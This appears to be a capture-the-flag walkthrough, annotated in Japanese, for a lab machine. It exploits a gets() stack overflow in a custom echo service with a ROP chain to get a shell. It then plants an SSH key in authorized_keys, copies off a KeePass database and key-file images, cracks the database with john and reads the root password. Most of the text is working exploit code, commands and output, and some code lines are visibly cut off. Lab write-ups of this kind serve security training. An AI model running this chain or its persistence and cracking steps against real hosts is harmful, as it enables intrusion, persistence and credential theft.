nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.61

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste  (独自バイナリ、サービス名はnmapの誤推定)

nc 10.129.86.61 1337

Welcome to the echo service, type something and press enter and we will
echo back your string.

What do you want me to echo back?

curl -s http://10.129.86.61/ | head -5

<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
<title>Apache2 Debian Default Page: It works</title>

wget -q -O myapp http://10.129.86.61/myapp
chmod +x myapp
file myapp
checksec --file=myapp   # pwntools付属 or pwn checksec

myapp: ELF 64-bit LSB executable, x86-64, ... not stripped

RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

objdump -d myapp | grep -A 30 "
:"

; 入力バッファは rbp-0x70 (112バイト) の位置に確保
; char buf[100]; のような宣言だが gets(buf) で読み取り上限なし
400f.. lea    rax,[rbp-0x70]
400f.. mov    rdi,rax
400f.. call   gets@plt      ; 境界チェックなしの読み込み!

buf の先頭から戻り先アドレスまでの距離:
  rbp-0x70 (バッファ先頭) → rbp (saved rbp, 8バイト) → リターンアドレス

  バッファ本体: 0x70 = 112 バイト
  + saved rbp:    8 バイト
  ---------------------------
  合計オフセット: 120 バイト

→ 121バイト目から8バイト(リターンアドレス用)を上書きできる。

# 1. system@plt への呼び出し地点を探す (main内に system("/bin/ls")等の
#    既存呼び出しがあればそのcall命令の直前アドレスを再利用できる)
objdump -d myapp | grep "call.*system"

# 2. ROPガジェット検索 (ropper や ROPgadget)
ROPgadget --binary myapp --only "pop|ret" | grep "r13\|r14\|r15"
ROPgadget --binary myapp --only "mov|jmp" | grep "rdi"

0x40116e: call system@plt           ; main+15 (echoの入力をsystemに渡す処理の一部)
0x401206: pop r13 ; pop r14 ; pop r15 ; ret
0x401156: mov rdi, rsp ; jmp r13

狙いは system("/bin/sh") の実行。チェーンの流れ:

  1. buf を "A"*120 で埋めてsaved rbpまで到達 (オフセット120)
  2. リターンアドレスに 0x401206 (pop r13; pop r14; pop r15; ret) を書く
     → これにより、続く3つの8バイト値がr13,r14,r15にPOPされる
  3. r13 には 0x40116e (call system@plt のアドレス) を入れる
     → 後で r13 へ jmp することでこのアドレスに制御が移る
  4. r14, r15 は使わないのでダミー値(junk)
  5. pop r13/r14/r15 の直後の ret で、次にスタックに積んだ
     0x401156 (mov rdi,rsp; jmp r13) に飛ぶ
     → rdi に「現在のrsp(スタックポインタ)」が入り、続けてr13(system@plt)へjmp
  6. rdi = rsp なので、system()の引数(rdi)は "このジャンプ時点でのスタック先頭"
     になる。そこに "/bin/sh\x00" を置いておけば system("/bin/sh") が実行される

import struct, socket, time

def p64(x: int) -> bytes:
    return struct.pack("
      

# シェル獲得後、直接インタラクティブ操作するのは不便なので、
# 事前に鍵ペアを作って authorized_keys に注入する作戦にする
ssh-keygen -t ed25519 -f ./safe_user -N "" -q
cat safe_user.pub

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... (生成された公開鍵)

import socket, time

TARGET = "10.129.86.61"
PORT   = 1337
pub_key = open("safe_user.pub").read().strip()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((TARGET, PORT))
s.recv(2048)  # バナー + "What do you want me to echo back?" を読み捨て

# gets() は改行まで読み込むため、チェーンの末尾に \n を付けて送信
s.sendall(chain + b"\n")
time.sleep(1.5)

# ここで system("/bin/sh") が発火し、同じソケットが対話シェルになっている。
# authorized_keys に公開鍵を追記するコマンドを送る。
inject_cmd = (
    "mkdir -p /home/user/.ssh; "
    f"echo '{pub_key}' >> /home/user/.ssh/authorized_keys; "
    "chmod 700 /home/user/.ssh; "
    "chmod 600 /home/user/.ssh/authorized_keys; "
    "echo INJECT_DONE\n"
)
s.sendall(inject_cmd.encode())

buf = b""
end = time.time() + 10
while time.time() < end:
    chunk = s.recv(4096)
    if not chunk:
        break
    buf += chunk
    if b"INJECT_DONE" in buf:
        break
s.close()
print(buf.decode(errors="ignore"))

chmod 600 safe_user
ssh -i safe_user -o StrictHostKeyChecking=no -o IdentitiesOnly=yes user@10.129.86.61 \
  "id; cat /home/user/user.txt"

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),
30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
4a697047c33a57082b7f1e50f6f47972

ssh -i safe_user user@10.129.86.61 "ls -la /home/user/"

MyPasswords.kdbx   (KeePassデータベースファイル)
IMG_0541.JPG
IMG_0542.JPG
IMG_0543.JPG
IMG_0544.JPG
IMG_0546.JPG
IMG_0547.JPG   (6枚中のどれかがキーファイル)

mkdir -p loot
scp -i safe_user user@10.129.86.61:/home/user/MyPasswords.kdbx loot/
scp -i safe_user user@10.129.86.61:/home/user/\*.JPG loot/

MyPasswords.kdbx            100%  ...
IMG_0541.JPG ... IMG_0547.JPG 取得完了 (計6ファイル)

# keepass2john は kdbx + キーファイルの組からjohn用ハッシュを生成する。
# キーファイルは6枚のうちどれか分からないので1枚ずつ試す。
for jpg in loot/*.JPG; do
  echo "=== $jpg ==="
  keepass2john -k "$jpg" loot/MyPasswords.kdbx > /tmp/kp_$(basename "$jpg").hash
done

keepass2john -k loot/IMG_0547.JPG loot/MyPasswords.kdbx > kp.hash
john --wordlist=/usr/share/wordlists/rockyou.txt kp.hash
john --show kp.hash

Loaded 1 password hash (KeePass [SHA256 AES 32/64])
MyPasswords:bullshit

1 password hash cracked, 0 left

from pykeepass import PyKeePass

kp = PyKeePass("loot/MyPasswords.kdbx", password="bullshit",
               keyfile="loot/IMG_0547.JPG")
for e in kp.entries:
    print(e.title, e.username, e.password)

... (複数のダミーエントリ) ...
root  root  u3v2249dl9ptv465cogl3cnpo3fyhk

ssh -i safe_user user@10.129.86.61
user@safe:~$ su root
Password: u3v2249dl9ptv465cogl3cnpo3fyhk
root@safe:/home/user# cat /root/root.txt

95af5546f913b28190df55eaf789ae32